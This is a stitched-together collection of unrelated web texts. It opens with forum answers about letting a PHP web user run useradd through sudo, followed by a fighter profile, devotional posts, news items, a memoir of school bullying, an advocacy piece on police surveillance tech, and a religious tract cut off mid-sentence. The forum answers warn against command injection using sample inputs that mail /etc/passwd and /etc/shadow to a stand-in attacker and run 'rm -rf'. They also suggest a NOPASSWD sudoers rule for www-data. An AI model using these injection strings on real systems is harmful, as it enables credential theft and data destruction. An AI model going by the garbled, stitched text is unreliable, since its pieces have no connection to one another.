thanks a lot

A: This is incredibly dangerous.  You are passing untrusted data to a command that you are executing.  Worse, that command is being run as root.
If a bad guy submits a value for the user of
somename; cat /etc/passwd /etc/shadow | mail badguy@example.com

then you have just mailed your password file to the bad guy who now can crack your passwords.
Running commands built with outside data is like eating soup made from ingredients found on your doorstep.

A: To allows www-data to run the useradd command, you need to add a line to /etc/sudoers like
www-data ALL=(root) NOPASSWD: /usr/sbin/useradd

You may also need to comment out this line, if it exists in /etc/sudoers:
Defaults requiretty

A: sudo is trying to ask you for the user's password to authenticate the command. However, system() allows no such back-and-forth. At least, not in a server API context (ie. loaded in your browser).
You may be able to do this if you use passthru and are running it on a command line (such as bash) - I use this myself on Windows, using PHP CLI to make console applications that include such calls as CHOICE and PAUSE.
Alternatively, you should find out what user runs the PHP scripts (echo `whoami`; should do it), and grant that user permission to run the useradd command without needing a password.
Also, be VERY careful running sensitive commands like this. ALWAYS use escapeshellarg on each argument individually to ensure the command does exactly what you intend it to. After all, I could enter my username as Robert && rm -rf ./ and because you gave it sudo permission, bye-bye system!

Those that started by wanting to solve a specific problem.
In the first category, people were talking about how to raise VC funds for the maximum valuation and how to grow as fast a possible (10x+ or bust). Some even talked about how to do an ICO (Initial Coin Offering) to raise money to grow their businesses (or to buy back their businesses from the VCs that they had overdiluted themselves to earlier). Both of those approaches require selling future dreams and tucking into peoples greed and speculative (high risk/high reward) investment tendencies.
I made a point of attending the sessions presented by founders of businesses that had bootstrapped for several years (up to 10) before seeking VC investment. They all seemed to fall into the second category. Obviously bootstrapped businesses have to provide value for customers that they are willing to pay for. These founders only sought investors when they had proven their businesses over the years and then had an opportunity to scale faster. To do more of what they were doing but doing it better.
Obviously bootstrapped businesses have to provide value for customers that they are willing to pay for.
I also noticed something about the physical appearance and manner of the bootstrapped founders versus the heavily funded founders.
I know I am probably biased, but the bootstrapped founders seemed to have more of a balanced attitude to life and a commitment to the longevity of their business (and it's employees and customers). They seemed healthier and happier. They talked about other aspects of their life that fulfilled them as well as their businesses.
On the other hand, the "go hard or go home" VC funded founders seemed to be sugar coating their presentations (there was a faint smell of BS) and they looked like zombies walking..

Ovince St. Preux (Esther Lin/MMA Fighting)
UFC Fight Night 47 Headliner Ovince St. Preux: 'I Do Better in the Spotlight'
Amber Boone
Spotlight, UFC
The light heavyweight division is arguably the most exciting and competitive division in the UFC right now. The light heavyweights of yesteryear, like Tito Ortiz, Chuck Liddell, Randy Couture and Lyoto Machida, are a major part of the reason that the UFC is still around today. This year we have seen that Jon Jones does have vulnerabilities and is not, in fact, indestructible. The top-10 rankings of the 205-pounders is a veritable who's who of explosive, hard-hitting, fast-paced cardio machines. Alexander Gustafsson, Daniel Cormier, Rashad Evans (who is arguably one of the top five light heavyweights ever), Glover Teixeira and Anthony Johnson round out the top five contenders. It's a thrilling time to be an up-and-coming light heavyweight.
Ovince Saint Preux just defeated Ryan Jimmo on June 14 on the UFC 174 main card to break into the top-10 list of UFC light heavyweights and improve his record to 16-5. He is also on a five-fight winning streak, all in the UFC or Strikeforce, and his only loss in four years is to Gegard Mousasi by way of a decision.
St. Preux (Esther Lin/MMA Fighting)
When St. Preux wins, he wins in decisive fashion. He has broken two opponents' arms with vicious kicks. Jimmo was just his latest victim. St. Preux has seven KO/TKO victories and has won via decision four times in his career. He can choke, kick and hit, and the man is fast, explosive and technical.
"Playing football really helped me develop as an athlete. I am explosive and powerful. We did a lot of OIympic lifting and I have strong hips. Being in football definitely plays a part in my success," explained St. Preux in an interview with The MMA Corner. "I may not have the wrestling pedigree that [Ryan] Bader has, but I wrestled in high school and did pretty good then. But football also taught me to listen to my coaches. It taught me discipline and patience, and perhaps most importantly, it taught me to execute my game plan."
"In team sports, the strategy will change every week depending on the opponent and who is healthy. And the strategy will vary even in different situations, so to execute your job on demand is a must. Patience with plays, letting them unfold, looking for the errors, that is how football makes me a better fighter."
St. Preux wrestled and played football in high school at Immokalee in the Miami area, then moved on to play for NCAA Division I stars, the University of Tennessee Volunteers. He graduated from college in only three years with a degree in sociology, and after two unsuccessful attempts to turn pro, he gave up the sport. But he wanted to stay in shape. One of his frat brothers invited him to the gym, to what he thought was a kickboxing class.
"I didn't want to fight. I didn't want to hit anybody and I definitely didn't want to get hit," laughed St. Preux. "But my coaches kept telling me that I was picking it up fast and I should try it. But I told them, 'No, that's not my cup of tea.' Eventually, I agreed. After that first amateur fight, my hands were shaking. It was the biggest adrenaline rush of my life."
St. Preux decided to try it again and again. After his third fight, he asked his coach, Eric Turner of Knoxville Martial Arts Academy, just how far he thought St. Preux could go.
"'With your physical attributes, with your learning abilities, and your fight and MMA IQ, you could be a UFC fighter and maybe even a champ' is what he told me," recounted St. Preux. "And that is what I work for every day—to be the light heavyweight champion of the UFC."
Under the training of Turner and Nate Hoffmeister, St. Preux has been able to develop into an incredibly well-rounded fighter with a gas tank that seems to be set to infinite. Sometimes St. Preux goes to Atlanta or even Temecula, Calif., to spar against other big guys. But with a fairly quick turnaround of only six weeks since his last fight, he and his coaches decided to bring in some big training partners. Guys like Virgil Zwicker and Rodney Wallace have helped give St. Preux the test he needs in the gym as he prepares for his headlining clash with Bader at UFC Fight Night 47.
"While I can't go into the details of the game plan, I can tell you that we are preparing for war," St. Preux revealed. "I mean, this guy has faced Tito, Jones, Teixeira, Machida—he has fought the who's who of light heavyweights. He is no pushover. He is tough. This will be my first time as a main event, and he has done this before. I find I do better in the spotlight—it excites me.
"My style is the new style. I didn't have any martial arts base. Well, I had high school wrestling, but I feel that that is actually something that I have turned into a strength. I am strong in all aspects of mixed martial arts, emphasis on the mixed. If my opponent has an advantage in the stand-up, I can use my ground game to neutralize that.
St. Preux (R) (Esther Lin/MMA Fighting)
"People will tend to gravitate to what they are good at—a kickboxer is going to want to do more kickboxing drills—but it's my mindset to say, 'Okay, my kickboxing is good. What else can I work on?' And again, lots of people will break down MMA to its base arts and train just BJJ, or just Muay Thai, or just wrestling. But we train MMA, all the aspects together. I am using my striking to set up my takedowns, or my wrestling to set up for my submissions."
Not only does St. Preux focus on the physical side, but, ever the student, he really likes to learn the reasons behind his coaches words.
"I talk to my trainers to find out why I am doing this or that," St. Preux explained. "A lot of fighters are content to just do something because it works, but I like to find out why it works and how it works. This allows me to understand how to adapt to certain situations. It allows me to be able to freestyle in my fights and be unpredictable. I am always looking for different ways to get the win."
The old-school fighters gave us some of the best memories and rivalries, but a lot of them were fairly one-dimensional. Couture had power and wrestling. Liddell had power and a granite chin, combined with one of the best takedown defenses in history. Many times, their fights were the classic grappler vs. striker "styles make fights" kind of match-ups. Today's stars, however, would dominate the old stars. St. Preux intends to demonstrate that in his next fight on Aug. 16 on Fox Sports 1. If you want to see history in the making, you'd better tune in.
Ovince would like to thank Headrush and KO Reps, coach Eric Turner and the team at KMAA, Nate Hoffmeister for the Strength & Conditioning, UT, his hometown of Immokalee, his frat brothers at Omega Psi Phi, and Team Haiti. He would also like to thank his fans. Follow St. Preux on Twitter: @003_OSP

It was one of those days. You know the kind I'm talking about. I didn't feel all that good. Actually, I felt downright crappy, to be honest.
When evening rolled around, I finally felt like eating. The only problem was the refrigerator was empty. And it was snowing outside.
What do you do when that happens? Right, you pick up the phone and order pizza.
I have to confess that I feel guilty when I order food for delivery when the weather is terrible. Here I am sitting in a warm, safe, comfy home expecting someone to go out in nasty conditions to bring me my food. But I give myself a pass when I am feeling ill.
Little did I know when I placed my order I was going to get more than pizza delivered to my door.
About thirty minutes after I placed my order the doorbell rang signaling the arrival of my much-anticipated supper. But when I opened the door I wasn't prepared for what I saw.
Standing there with my pizza in his hand was an older man, and I'm ashamed to admit that when I saw him, my mind immediately jumped into judgment mode.
He had a small statute and was the most unkept delivery person who had ever come to my door. His beard and hair were both long and scraggly, and he was obviously a person of little means.
However, unlike the rude customer service person from another company I spoke with earlier in the day, this gentleman was kind and polite.
We chatted as he gave me my pizza and change. I commented on how bad the weather was, and he shared how this was supposed to be his night off, but he had been called in because they were slammed with orders because of the conditions.
Even though it was the worst night of winter to that point and he had been called in on his day off there was not a trace of negativity in his voice. He was very positive and upbeat.
I wished him safety for the remainder of his night, and he drove off into the ice and snow.
As I plopped on the couch to eat my pizza in front of the TV, I realized that I felt uplifted from the short, simple conversation with this man.
The next morning as I began my quiet time God brought the encounter back to my mind, as He spoke to my heart in a valuable way.
The scripture for the day was 1 Samuel 16:1-12 (I encourage you to read the entire passage). It is the story of the Lord sending Samuel to anoint one of Jesse's sons as the next King of Israel. One by one the sons are paraded before Samuel who thinks to himself; surely it's this one.
In verse seven God tells Samuel something about his thought process regarding who should be selected.
As I read this verse, it pierced my heart, and I cried.
This is a reminder I need every day. We live in a world that bombards us. Commercials, Hollywood, Facebook, Instagram, Pinterest. With photoshoped reality, they teach us to see the opposite of what God is telling us.
I don't know if the pizza delivery guy was a believer or not but I know I saw Jesus in Him by the way He acted. But I nearly missed it because I was looking at his appearance and not his heart.
I need God's eyes to see past the surface, to look into the heart. What I need is an ocular transplant so I can see with Jesus's eyes.
As my pastor likes to say, "When we see as God sees we will do as God says." So now I ask Jesus every morning to let me see others with His eyes. To let me see their heart.
I'm asking Him to rearrange my priorities so that they are not the things seen but rather the things unseen. I know that I can't be the person who He created me to be, to fulfill the purpose He called me to unless I live from the heart and see the hearts of others.
I'm so glad He looks at my heart and teaches me to see his heart and the heart of others. Lord write your story on my heart.
When you look at other people today how can you concentrate on seeing their hearts, not their appearance?
All I can say is…….OUCH! Thanks for the reminder! I just read this same lesson in a devotion.
the quote there, the heart is the connecting point. SO true. and a reminder I too need daily.
Beautiful post. Thank you so much for sharing. And yes, like Cathy said, OUCH! We are sometimes, and maybe even too often, so quick to 'judge' what we see on the outside. I'm bad for that. That is indeed a beautiful and much needed reminder. THANK YOU!
Amazing encounter! My Bible study group is studying the book of James and your experience fits with chapter 2 verse one. Thank you for being honest and sharing this.
I like how you always find unexpected insights in everyday encounters. Yes, we always need to catch ourselves when we slip into judgement mode and finding ourselves thinking or acting in ways that don't reflect our core values.

TV star says the world is ready for a ginger James Bond
Homeland star is being considered to play the iconic spy after Daniel Craig hangs up his Walther PPK

Damian Lewis believes that James Bond should be ginger in the interests of "diversity".
The 'Homeland' star - who has previously been tipped to replace Daniel Craig as 007 - fears his hair colour may prevent him taking on the role of the suave spy but he thinks it would be good for "diversity" to have a redhead in the role.
The 48-year-old actor also feels that he will be too old for the job when Daniel, 51, departs the iconic franchise after 'No Time To Die'.
According to Wales Online , he said: "From a diversity point of view, don't you think it's about time we had a ginger Bond?"
He added to Radio Times magazine: "By the time they finally finish making the next Bond film. I'll be old, decrepit."
Idris Elba, 47, Aidan Turner, 36, Cillian Murphy, 43, and Richard Madden, 33, are among the names who have been suggested to play Bond.
Meanwhile, Damian recently said 007 is a 'bad' spy , but that is part of what makes the character so appealing.
He said: "The great thing about Bond is how bad a spy he is, and how brilliant he is in recovering his position. Bond makes endless mistakes. That's what's fun about him, and then he has to do something extraordinary to recover himself."
He will present the documentary 'Damian Lewis: Spy Wars' with the first episode airing on 'History' on October 7.
Damian presents and produces the eight-part series, which covers some of the most significant spying operations of the past 40 years.
The programme features undercover agents who were persuaded to tell their story for the first time.
The series features reconstructions of espionage during the 'Cold War' and 'war on terror' and includes insight from groups such as 'MI6' and the 'CIA'.
Damian feels that spies do not have the glamour of '007.'
He said: "I find the reasons for turning traitor or being a hero, depending on your view, are often quite grubby and banal."

From the beginning of December the topic of exoplanets will inspire the audience of the planetarium of the Swiss Museum of Transport in Lucerne. The new show titled "Out There" was written by the curator Marc Horat and was developed in close collaboration with the NCCR PlanetS.
Recently, Marc Horat visited the University of Bern and the Observatory of Geneva to take pictures with a 360-degree camera equipped with several GoPro cameras. The recordings will be included in the show.


Great to see (well, hear) you guys again! I just finished a re-listen of your AOS podcasts and am enjoying your take on Agent Carter.
You talked a bit about Roxxon in the podcast and I thought I'd point out that we saw them in AOS ("Repairs") and in the One-Shot "A Funny Thing Happened to Me on the Way to Thor's Hammer".
Also, in the comics, Cybertek is a subsidiary of Roxxon Energy so there may be another unstated connection in AOS.

Although she settled at the village school and the children there were friendly, Joanna was still suffering badly from the rejection she had experienced at the Waldorf School. To be the victim of bullying was bad enough. To be thrown out of the school because her teacher could not cope with either the bullies or Joanna's reaction to them had created a terrible insecurity in her.
When she was asked to leave, this had been the only school she had ever known. It was also the school her brothers still attended and loved, and the school, who's system of education her parents still supported.
She was now the outsider at home. We told her that both schools and both systems of education were good. It was just that she was more suited to the state system. It wasn't true. She was not an academic child. She was very talented artistically. She was more suited to the Waldorf system, or at least to the artistic emphasis that was a big part of their curriculum.
She must have seen though what we said. She knew we still believed in Steiner education. They had made a thorough job of convincing us that state education was harmful to children, and we still hoped to find a way to get Joanna back there at a later date.
When she was 10, Richard was about to move to Class 1. It had been felt that he was not ready for Class 1 the previous year because of his 'soiling' and he had been kept back a year. We were hoping that we could get Joanna back to the Waldorf school when she was 11 instead of her going to high school.
I still wasn't aware of the extent to which she had been bullied. I think she must have repressed a lot of it as she told me parts of it over several years. In fact I am convinced there is still a lot buried inside her. At that time, I still thought that a lot of the problem had been in her. I felt she was stronger now, and her old class was bigger, and her old friend had made up with her. I thought it could work this time.
Richard's new Class 1 teacher was the mother of a Kindergarten friend of Joanna's who had left the area and returned. The teacher invited all of her new pupils to a party at her house. She thought Joanna should come along and meet her daughter again as they had been great friends in Kindergarten. Her daughter had also invited another girl from Joanna's old class, and two others from the class came along because they had siblings in Richard's new class. One of these was one of the bullies.
The two girls from Joanna's old class totally blanked her. They didn't even say 'Hello'. The teacher's daughter was encouraged by her mother to speak to Joanna. She did so briefly with her eyes nervously on the other two girls. Then she ran off with them. It was obvious to me that the same game was still being played of 'Don't you speak to her or we won't speak to you again.' just as had happened to Joanna when the new boy had arrived. The teacher's daughter was desperate to be accepted in her new class. Sadly it didn't work for her either and she became the fourth girl in that class to become the victim of the bullies and the third to develop school phobia.
I have heard since that this kind of nastiness is common among Waldorf children. When a child leaves he/she is ostracised. It happened to a friend who moved away. When she brought her daughter back for the Advent Fair to see all of her old friends, none of them would speak to her.
I don't know why this happens, but I imagine it has something to do with the children being encouraged to believe that their values and beliefs, which differ greatly from those of the outside world, are superior.
Joanna came home and said that she was never going back to that school as the children were horrible, so off she went to high school where everything went wrong again.
When Joanna went to high school, she settled for a short time, then a pupil from her old class at the Waldorf school joined the school and, although I am not saying he in any way tried to upset her, his presence brought all of the memories back. We realised then that she had not totally recovered, since the sight of people from that school has continued to upset her.
She became very unhappy and difficulties developed both at home and at school. She became at times so distressed that Social Services offered to hold a meeting to decide how best to help Joanna. Our social worker prepared a report for this meeting, and it was only when I read it that I discovered that the meeting that had been held while Joanna was still at the Waldorf School had been requested by that school because they were concerned she and her younger brother were being abused! They had based this on the fact that Joanna was afraid to stay at school - a rather strange reason to suspect abuse at home I would have thought - and that Richard was soiling. Of course we had since discovered that Richard's problem was physical.
I was outraged at what the school had done. I have since spoken to people from other Waldorf Schools who have had the same thing happen to them after they had complained of their child being bullied.
I have no way of knowing if this school genuinely believed our children were being abused or if they were trying to create a smoke screen. My husband and I went to the school to demand an explanation. The two teachers there listened and sympathised and promised to get back to us. They never did.
The autumn of 1997 was a particularly bad time for us. A dear friend of mine was killed in an accident My husband's car packed up and we had no money to replace it because we were still paying Waldorf School fees for the boys, so he was walking ten miles to work and back. Then I lost my part-time job and finally Joanna refused to stay at her new school.
Eventually it was suggested that Joanna attend an assessment unit for children with behavioural problems. She loved it there, the smaller classes and lack of academic pressure suited her, but it was only a short term unit. After a few weeks a meeting was held and it was decided that she go to the long term pupil referal unit. There she met the boy who had joined her Waldorf class and been ousted out by the other boys. She talked to him and his main memory was of the boys who had bullied him.
The next two and a half years were pretty bad. Joanna had settled for a while at the long term unit, but after she met her old Waldorf classmate she seemed to relapse, just as she had at the high school. For several years she had been suffering from Obsessive Compulsive Disorder which was focussed on her appearance and seemed to us to be a desperate attempt to be accepted by other children after her earlier rejections. The OCD began to get worse, and because of this so did her attendance.
During the previous year our elder son had left the Waldorf School to start at sixth form college and found that he could not cope with the academic work there. He has an IQ of 135 so I can only think it must have been a combination of his dyslexia being ignored at the Waldorf school and the fact that he was not used to this level of work. Eventually he packed in college and began to drift from one temporary job to another, a pattern which continued for years. Even now he is still doing manual work that he hates, but his self esteem is too low for him to attempt training for anything better.
After a year Joanna was moved to yet another unit for 14 to 16 year olds. Here things went from bad to worse. Her attendance became almost non existant. It was a constant worry for us, of course, as we were being chased by educational welfare officers who refused to believe that she truly couldn't get to school because her obsessions were taking up so much of her time and she was exhausted. She refused to see a doctor because of the psychiatrist who had forced her to go to school when she was being bullied, and that didn't help either.
By 2000 both my husband and I were suffering severe stress and were on anti depressants. It was at this time that we got seriously behind with the Waldorf school fees.

Police use surveillance software, which uses mobile technology and social media to keep tabs on citizens.
NEW YORK— It is run out of a quiet, unassuming office on a tree-lined avenue in Bethesda, Maryland. The rows of hip restaurants are offering young urban professionals all the grande-iced-sugar-free-vanilla-soy-lattes they could ever need. However, this serene suburban idyll belies the fact that serious work for the police state is taking place out of view.
Nestled in a suite just upstairs from the Asian fusion and seafood restaurants is a company that is transforming the way law enforcement, intelligence agencies and even giant corporations communicate within their organizations and with each other.
The company is called BlueLine Grid. It markets itself as "the nation's premier, trusted collaboration network for law enforcement, first responder and security teams." Indeed, BlueLine Grid boasts an impressive array of investors and customers, including the LAPD and General Electric, among others.
But perhaps their most interesting client – and the one that deserves the most scrutiny – is In-Q-Tel, the venture capital and investment arm of the CIA. It is no secret that In-Q-Tel invests in emerging technologies that the U.S. intelligence community, especially the CIA, views as potential tools in their covert trade.
As the "Vault 7" documents published by WikiLeaks have revealed, the CIA's Directorate for Digital Innovation is involved in hundreds of projects aimed at turning everything from smartphones and televisions to critical computer software into potent weapons for U.S. intelligence. Private companies operating outside of, but in partnership with, the CIA form a vital aspect of the agency's innovation industry.
BlueLine Grid is a perfect example of the partnership that exists between the intelligence community and the private sector. This partnership raises significant concerns regarding potential breaches of privacy.
Policing the World by Smartphone
BlueLine Grid uses real-time GPS information to allow police officers, intelligence operatives and other potential clients to communicate and coordinate within a given area and respond, in real-time, to changing developments on the ground. (Photo: Blueline Grid marketing material)
BlueLine Grid's apps allow clients to communicate with team members in a reliable and secure network using a technology called geofencing. Essentially, the technology allows a particular client (e.g. the Los Angeles or New York police departments) to draw a perimeter on a live map and communicate with all officers within that perimeter.
Put another way, BlueLine Grid uses real-time GPS information to allow police officers, intelligence operatives and other potential clients to communicate and coordinate within a given area and respond, in real-time, to changing developments on the ground. Rather than a walkie-talkie or generic mass text message, BlueLine Grid's technology allows users to rigidly define a geographic space within which messages can be sent, as well as prevent those messages from being sent outside of the space.
The frightening implication is that this technology could eventually be used to stifle protest and halt communication among protesters. It is not hard to imagine police officers in major U.S. cities using the tech to harass and arrest protesters within specific geographical areas, cutting the legs out from under protests before they even begin.
Considering that police forces across the country are already fully militarized and employ military-style tactics, it would seem that BlueLine Grid is offering yet another potent weapon in the police state's ongoing war against free speech and assembly. But it goes much further than that, as this technology is now quite literally the property of the CIA thanks to the undisclosed, but assuredly large, investment made in BlueLine Grid by the agency. And the connections to the police state and military-industrial-security complex run far deeper.
The Forces Behind BlueLine Grid

The company was founded by former politician Jack Weiss and entrepreneur David Riker, along with former New York and Los Angeles police department chief Bill Bratton. Originally founded as Bratton Technologies, Inc., the company rebranded itself as BlueLine Grid in 2013. A quick look at the background of these individuals offers some insight into how BlueLine Grid got on the fast track to being the premier state intelligence app service.
Bratton, in many ways, has been the public face of the company since its inception. He's a skilled political operator connected to some of the most important power brokers in Washington, DC. After founding the company, Bratton had a stint as Commissioner of the New York Police Department, a position from which he resigned in 2016.
Bratton did not retire into obscurity, however. Instead, he took a job with Teneo Holdings, a consulting group closely linked to the Clinton political machine, as well as to Israel and its powerful DC lobby. Teneo Holdings was founded by longtime Clinton advisers Douglas Band and Declan Kelly, who used their Clinton connections to make Teneo into one of the world's most lucrative consulting firms.
Alongside Bratton, Teneo boasts influential consultants, such as former Clinton and Obama Middle East envoy George Mitchell, and former British Foreign Secretary William Hague. Teneo has essentially become a nexus between law enforcement, the national security state, the military-industrial complex and political power brokers.
Teneo as a whole, and Bratton specifically, have deep ties to Israel, with Bratton having given multiple high-profile speeches, including the keynote address at Israel's National Conference on Personal Security in Jerusalem, a conclave of some of the leading figures in Israel's (and the United States') national security apparatus.
The conference included influential attendees from around the globe. With Israel having established itself as one of the world's leading security-tech centers, it's no wonder that Bratton has cultivated such ties over the years as he established joint-training and close cooperation between the LAPD and Israeli security forces as chief of the department.
NYPD Commissioner William Bratton poses with Israeli officials at the First National Personal Security Conference in Israel.
Considering the way in which Israel criminalizes and represses Palestinian activists, it should come as no surprise that Bratton is also interested in cutting-edge technologies that give his clients the advantage over activists and oppressed communities.
But Bratton is not the only connection between BlueLine Grid and the military-industrial-security state. Co-founder of BlueLine Grid Jack Weiss has also traveled in some of the elite circles within the security apparatus.
Before co-founding Bratton Technologies, Weiss worked for Altegrity Inc., a private contractor that focused on global investigations and security. The chairman of Altegrity was the same Bill Bratton who, at the time, had recently retired from the LAPD. Altegrity went on to acquire the infamous Kroll, Inc., a business intelligence and investigations company, with Weiss heading up Kroll's LA office.
As a 2009 New Yorker profile of the company's founder Jules Kroll noted:
Kroll really made his living, and his name, on Wall Street. He owed his success …to Goldman Sachs and Skadden Arps and a long list of corporations, law firms, investment banks, management consultants, hedge funds, and brokerage houses…he and his company have been more highly valued for keeping things in the dark than for the occasional, client-approved exposé. They are the keepers of innumerable embarrassing, probably career-destroying, possibly corporation-destroying secrets.
Kroll is widely credited with having created an industry where there was none. Call it corporate intelligence…He offered an ever-widening range of services—forensic accounting, crisis management, competitor analysis—tooled for a globalized business world, in which industrial espionage, counterfeiting, computer fraud, identity fraud, and sophisticated financial crimes have flourished.
Indeed, the Kroll brand was well-known in political and financial circles, perhaps too well-known. As the New Yorker continued:
"With its international intelligence networks and their sometimes unnerving abilities, Kroll began to be described as 'a private C.I.A.' This was unhelpful. [Norb] Garrett—who was the C.I.A.'s station chief in Cairo before he joined Kroll—told me, 'We can't work in certain parts of the world if people believe we're C.I.A. We just can't.'"
Kroll, with its deep ties to the CIA and U.S. intelligence, came under the leadership of Weiss and Bratton in the last decade. Now they're scratching each other's backs one more time, this time with CIA seed money bankrolling yet another Weiss-Bratton business venture, BlueLine Grid.
And as the CIA money came flowing in, Weiss chose to move the company from New York to Bethesda, Maryland, just a 10-mile drive from CIA headquarters in Langley. As Weiss stated:
"We have this incredible pool of talent from industries related to government that enable us to build real, mission critical, serious, hardcore technology right here in the D.C. area…We can take people who have been working on big, serious projects for a past couple years and put them in a new, cool startup environment and create a ton of new value."
Put another way, BlueLine Grid moved to DC in order to leverage its contacts with the CIA and other government agencies and share talent and resources with them. While it remains a private startup company, BlueLine Grid has become a de facto government contractor, part of the very large revolving door between government and the security-surveillance complex.
Reclaiming the Tech Theater of Conflict
Thousands of demonstrators hold up their cell phones as they protest against an Internet tax planned to be introduced by the Hungarian government, in front of the Ministry of National Economy in Budapest, Hungary, Sunday, Oct. 26, 2014. Inscription reads: "Mafia government".
There should be little doubt that the technology with which BlueLine Grid is equipping police forces, intelligence agencies and private corporations could be used against groups that organize to challenge state and corporate power.
That's why it's critical that activists from Standing Rock to Zuccotti Park, from Ferguson to Berkeley, be equipped with the necessary technology to defend themselves. They will need hackers to take BlueLine Grid's technology and turn it into a tool for organizing.
If police and intelligence officers can freely communicate in order to organize and coordinate their actions, so too should protesters and revolutionaries. If the iPhone or Android is a weapon in the hands of the authorities, so too should it be a weapon in the hands of the peaceful protester.
Technology is one of the most critical theaters of conflict with the state and the forces of corporate control. There may be a BlueLine Grid out there working to arm the police with hi-tech weapons, but there are also millions of us working to disarm them and build a better world.

When you sound an alarm, the ones encamped on the east side are to begin to travel.
When you sound the alarm the second time, those encamped on the south are to begin to travel. Alarms are to be sounded for their travels.
But when you blow the trumpet to assemble the whole congregation, don't use the same sound as you do for sounding an alarm.
"My anguish, my anguish! I writhe in pain. Oh, the aching of my heart! My heart pounds within me; I cannot keep silent. For I hear the sound of the trumpet, the alarm for war.

Managing Your Personal Finances
Which day is the CHRISTIAN SABBATH?
What Do You Mean - The Unpardonable Sin?
Which Is The Religion BEST FOR YOU?
Garner Ted Armstrong Church of God
Ambassador College: 1956
Office: Evangelist
Should you find the religion best suited for YOU? Should you look for one that "satisfies" your particular need? SHOULD you have a "faith"? Will one be about as good as another? Read what God says about HOW you should search for truth!
EVERYONE knows there is no "cure" for the common cold.
But you wouldn't guess it, listening to the advertisers. One spray reduces swelling, stops sneezing, relieves aches and pains. It doesn't come right out and claim to cure your cold, mind you, but on the other hand — what's left? If your tortured nasal passages are no longer swollen; your sneeze is gone; your aches and pains have disappeared — then you feel perfectly normal — your cold is gone.
Still, everyone knows there is no such thing as a "cure" for the common cold.
How People Choose a Religion
Everyone "knows" one religion is about as good as another. Still, everyone who goes to church "knows" his particular brand of religion will probably get him to "heaven," or wherever he's going, a little more quickly, a little more efficiently, than all the others. Either he believes this, or he is knowingly settling for something like second best.
Ever notice the remarkable similarity between claims of dozens of religious philosophies and the detergent ads?
One claims it washes your clothes "cleaner than clean"! The fact that such a statement is an utter superfluity, an impossible exaggeration, never occurs to average housewives, apparently. Still another claims it gets your clothes "cleaner"! But ("cleaner" than WHAT? Other soaps and detergents?
How can this be possible? All of them claim to get clothes "cleaner," too!
How accurate would it be for you to adopt the idea that "all these detergent ads can't be WRONG!"?
Let's ask the question another way.
Can they all be right?
If any one of them is to be believed — POSITIVELY — then every other one must automatically be assumed to be WRONG! If any one of them REALLY DOES get your clothes cleaner — then the unspoken inference is that they get your clothes cleaner than any other product!
What about your personal religious philosophies?
People say, "But ALL these religions, these organizations, these philosophies can't be wrong!"
But can they ALL be RIGHT?
Utterly impossible. If any ONE of them is RIGHT — and remember, they ALL DIFFER — then that one being right AUTOMATICALLY renders all others WRONG!
But in "choosing" a religion, a faith, or a church — thousands pick and choose with the same careless abandon of housewives, selecting the colorful boxes of soaps and detergents from the shelves of the supermarket.
Surveys show many frankly admit they attend their church because of its size, its standing in the community (being "reputable" or not), its nearness to their home, or, the parking facility.
Only a few admitted they had given at least a little time to searching into what the church taught. Fewer still seemed to wonder WHETHER IT IS THE TRUTH OF GOD'S WORD!
But God has not left it up to man to choose for HIMSELF a "religion."
Almighty God REVEALS His TRUE religion — gives us HIS TRUTH. It's then up to us to either accept it and OBEY, or REJECT it, and find a "religion" of our own!
"Here's the Way I Look at It!"
You're living in the age of opinions. It's a broadminded age — an age of noninvolvement, don't rock the boat, keep out of controversy.
Most people reason out in their own minds a "need" for religion in their lives.
The symptoms may be frustration, worry, unsettled marriages, or a desire for social contact. Their reasons for seeking a "satisfactory" religion may include social pressures, environmental background, political or financial expediency, or, in some remote cases, an acute desire to seek spiritual knowledge.
Some time ago, one of the current rash of "public opinion" type programs received a call from a woman who was obviously seeking some fundamental truths.
The panel was composed of a Catholic priest, a rabbi, and a Protestant minister.
The lady directed her question to the Protestant minister.
She wanted some straight answers — wanted to get behind the obvious confusion in the rank and file of conflicting denominationalism, wanted to find the real TRUTH!
She was advised to seek out a 9eputable'' church near her.
She was urged to be sure it was a bona-fide, reputable, "known" type of church — with a substantial membership a nice building, a respectable minister.
This, according to the minister on the program, would most assuredly 'solve all her spiritual problems.
Did the minister mean to say there are churches which he would call "DESreputable?"
Not if you asked him so directly.
No more than the detergent ads would be cornered into saying the OTHER product (probably "brand X' — ugh!) leaves your clothes frighteningly DIRTY!
Ever have a friend direct you to a "bad" doctor?
Neither have you ever been advised to go to a "bad" religion, a "bad" philosophy, or a "bad" church.
But, presumably, there are such things.
The idea seemed to be that one is as good as another — so long as it's one of the name brands! In washers and dryers, stick to the BIG NAMES, and you're probably fairly safe. They give warranties, guarantees, service seals and the like.
The various religious philosophies?
Some are, admittedly, "reputable," while others are, well, let's say — NOT so "reputable."
When one is asked the question — "If you belong to a different organization than I, do you believe you will be 'saved,' while I will be CONDEMNED?"
How would the average "broadminded" person answer the question? It's difficult to know.
Whose Opinions Count?
Does the way we LOOK at it really matter? Will the opinions, the fancies, notions, ideas, guesses, superstitions, philosophies, convictions and beliefs of our friends and neighbors REALLY SAVE us?
No. It is WHAT GOD SAYS that is important, not what people say about God.
It's about time you came down off the fence of doubt, indecision, and the belief nothing can be proved to be ABSOLUTE! It's time you PROVED God exists — and time you saw what He says about His sacred TRUTH!
Think about it — ponder it — are the analogies you just read APPLICABLE?
Isn't the religious doubt and confusion about you a little hard to reconcile with Christ's PLAIN statement, "And lo, I am with you always, even unto the end of the world"? (Matt. 28:20.)
Jesus said, "I will build MY Church" (Matt. 16:18). He DID BUILD it!
But did Jesus Christ leave each individual to decide for himself which interpretation, which philosophy, which comfortable idea best suits him? Did Christ leave a legacy of confusion?
He said, "Thy WORD is TRUTH"! (John 17:17.) He was POSITIVE in His statements. He was absolute. He NEVER BUDGED AN INCH where sin was concerned!
And people — people who like to be "broadminded" — HATED Him for it!
Thousands from many different denominations attend traditional Easter sunrise services — but few ask, "What does the Bible say about it?"
You need to make sure you REALLY PROVE God exists — that He DOES RULE in Heaven above, that His word is SURE — and that you can believe it, ABSOLUTELY! (Read our FREE booklet Does God Exist?)
A visitor to the studio will sometimes ask me, "What is your belief about...?"
My answer?
"Well — you see — it's not important what I believe. What I believe is only my own personal, private OPINION! And the private OPINIONS of people are utterly worthless in the face of the proven, tested, accurate, absolute FACTS. Now, if you want to know what GOD PLAINLY SAYS on the subject..." and then I proceed to tell the visitor what God says!
Are you HONEST WITH YOURSELF?
Do you check up to PROVE what you read in this magazine? Do you listen CAREFULLY to the statements I make on The WORLD TOMORROW broad cast? Do you read with an OPEN MIND, and do you PROVE each point to yourself, OUT
